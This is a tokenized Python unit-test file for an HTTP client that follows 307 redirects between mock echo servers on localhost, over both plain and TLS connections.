"'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "path", "'_", ",_", "u", "'/", "echo", "?", "name", "=", "fam", "e", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "qa", "rg", "s", "'_", ",_", "odict_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "fragment", "'_", ",_", "u", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "header", "s", "'_", ",_", "odict_", "(_", "[_", "(_", "'", "Accept", "'_", ",_", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "body", "'_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "not_", "alpha_", "._", "ix", "es_", "or_", "beta_", "._", "requests_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mock", "Redirect", "Comple", "x", "Service", "A_", "(_", "alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "mock", "Redirect", "Comple", "x", "Service", "G_", "(_", "gamma_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "redirec", "ts", "'_", ":_", "[_", "{_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "{_", "'", "access", "-", "control", "-", "allow", "-", "orig", "in", "'_", ":_", "'*'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "length", "'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "text", "/", "plain", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "'", "http", "://", "local", "host", ":", "610", "3", "/", "redirec", "t", "?", "name", "=", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "Tempora", "ry", " ", "Redirect", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "{_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "host", "'_", ":_", "'", "127", ".0", ".0", ".1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "http", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "307", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", "}_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "host", "'_", ":_", "'", "local", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "http", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "redirec", "t", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gamma_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Gamma", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mock", "Redirect", "Comple", "x", "Service", "AS", "ecu", "re_", "(_", "self_", ",_", "server_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "mock", " ", "echo", " ", "server", " ", "service", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "server_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "server_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Client_", "=_", "server_", "._", "ix", "es_", "._", "values_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Client_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "msg", "In_", "==_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "local", "host", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ix", "Client_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "HTTP", "/", "1.1", " ", "307", " ", "Tempora", "ry", " ", "Redirect", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "text", "/", "plain", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "0", "\\\\", "r", "\\\\", "n", "Access", "-", "Control", "-", "All", "ow", "-", "Orig", "in", ":", " ", "*\\\\", "r", "\\\\", "n", "Locat", "ion", ":", " ", "https", "://", "local", "host", ":", "610", "3", "/", "redirec", "t", "?", "name", "=", "fam", "e", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Client_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "server_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mock", "Redirect", "Comple", "x", "Service", "GS", "ecu", "re_", "(_", "self_", ",_", "server_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "mock", " ", "echo", " ", "server", " ", "service", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "server_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "server_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Client_", "=_", "server_", "._", "ix", "es_", "._", "values_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Client_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "msg", "In_", "==_", "b", "'", "GET", " ", "/", "redirec", "t", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "local", "host", ":", "610", "3", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ix", "Client_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "122", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "{", "\"", "content", "\":", " ", "null", ",", " ", "\"", "query", "\":", " ", "{", "\"", "name", "\":", " ", "\"", "fam", "e", "\"},", " ", "\"", "verb", "\":", " ", "\"", "GET", "\",", " ", "\"", "url", "\":", " ", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "\",", " ", "\"", "action", "\":", " ", "null", "}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Client_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "server_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Patr", "on", "Redirect", "Comple", "x", "Secur", "e_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Patr", "on", " ", "redirec", "t", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Patr", "on", "Redirect", "Comple", "x", "Secur", "e_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "server", "Cert", "Common", "Name_", "=_", "'", "local", "host", "'_", "#", " ", "match", " ", "host", "name", " ", "use", "s", " ", "server", "s", "'", "s", " ", "cert", " ", "common", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server", "Keyp", "ath_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "server", "\\u", "key", ".", "pe", "m", "'_", "#", " ", "local", " ", "server", " ", "private", " ", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server", "Cert", "path_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "server", "\\u", "cert", ".", "pe", "m", "'_", "#", " ", "local", " ", "server", " ", "public", " ", "cert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "Ca", "filepath_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "client", ".", "pe", "m", "'_", "#", " ", "remote", " ", "client", " ", "public", " ", "cert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server", "Tl", "s_", "(_", "host_", "=_", "server", "Cert", "Common", "Name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "context_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "certi", "fy_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keypa", "th_", "=_", "server", "Keyp", "ath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cert", "path_", "=_", "server", "Cert", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "caf", "ile", "path_", "=_", "client", "Ca", "filepath_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Gamma", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Gamma", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gamma_", "=_", "tcp_", "._", "Server", "Tl", "s_", "(_", "host_", "=_", "server", "Cert", "Common", "Name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "610", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Gamma", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "context_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "certi", "fy_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keypa", "th_", "=_", "server", "Keyp", "ath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cert", "path_", "=_", "server", "Cert", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "caf", "ile", "path_", "=_", "client", "Ca", "filepath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "gamma_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "gamma_", "._", "ha_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "gamma_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Connect", "or", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "client", "Keyp", "ath_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "client", "\\u", "key", ".", "pe", "m", "'_", "#", " ", "local", " ", "client", " ", "private", " ", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "Cert", "path_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "client", "\\u", "cert", ".", "pe", "m", "'_", "#", " ", "local", " ", "client", " ", "public", " ", "cert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server", "Ca", "filepath_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "server", ".", "pe", "m", "'_", "#", " ", "remote", " ", "server", " ", "public", " ", "cert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "server", "Cert", "Common", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "alpha_", "._", "eh", "a_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "client", "ing_", "._", "Patr", "on_", "(_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reconnect", "able_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "scheme_", "=_", "'", "https", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cert", "ed", "host_", "=_", "server", "Cert", "Common", "Name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keypa", "th_", "=_", "client", "Keyp", "ath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cert", "path_", "=_", "client", "Cert", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "caf", "ile", "path_", "=_", "server", "Ca", "filepath_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "odict_", "(_", "[_", "(_", "'", "method", "'_", ",_", "u", "'", "GET", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "path", "'_", ",_", "u", "'/", "echo", "?", "name", "=", "fam", "e", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "qa", "rg", "s", "'_", ",_", "odict_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "fragment", "'_", ",_", "u", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "header", "s", "'_", ",_", "odict_", "(_", "[_", "(_", "'", "Accept", "'_", ",_", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "body", "'_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "not_", "alpha_", "._", "ix", "es_", "or_", "beta_", "._", "requests_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mock", "Redirect", "Comple", "x", "Service", "AS", "ecu", "re_", "(_", "alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "mock", "Redirect", "Comple", "x", "Service", "GS", "ecu", "re_", "(_", "gamma_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 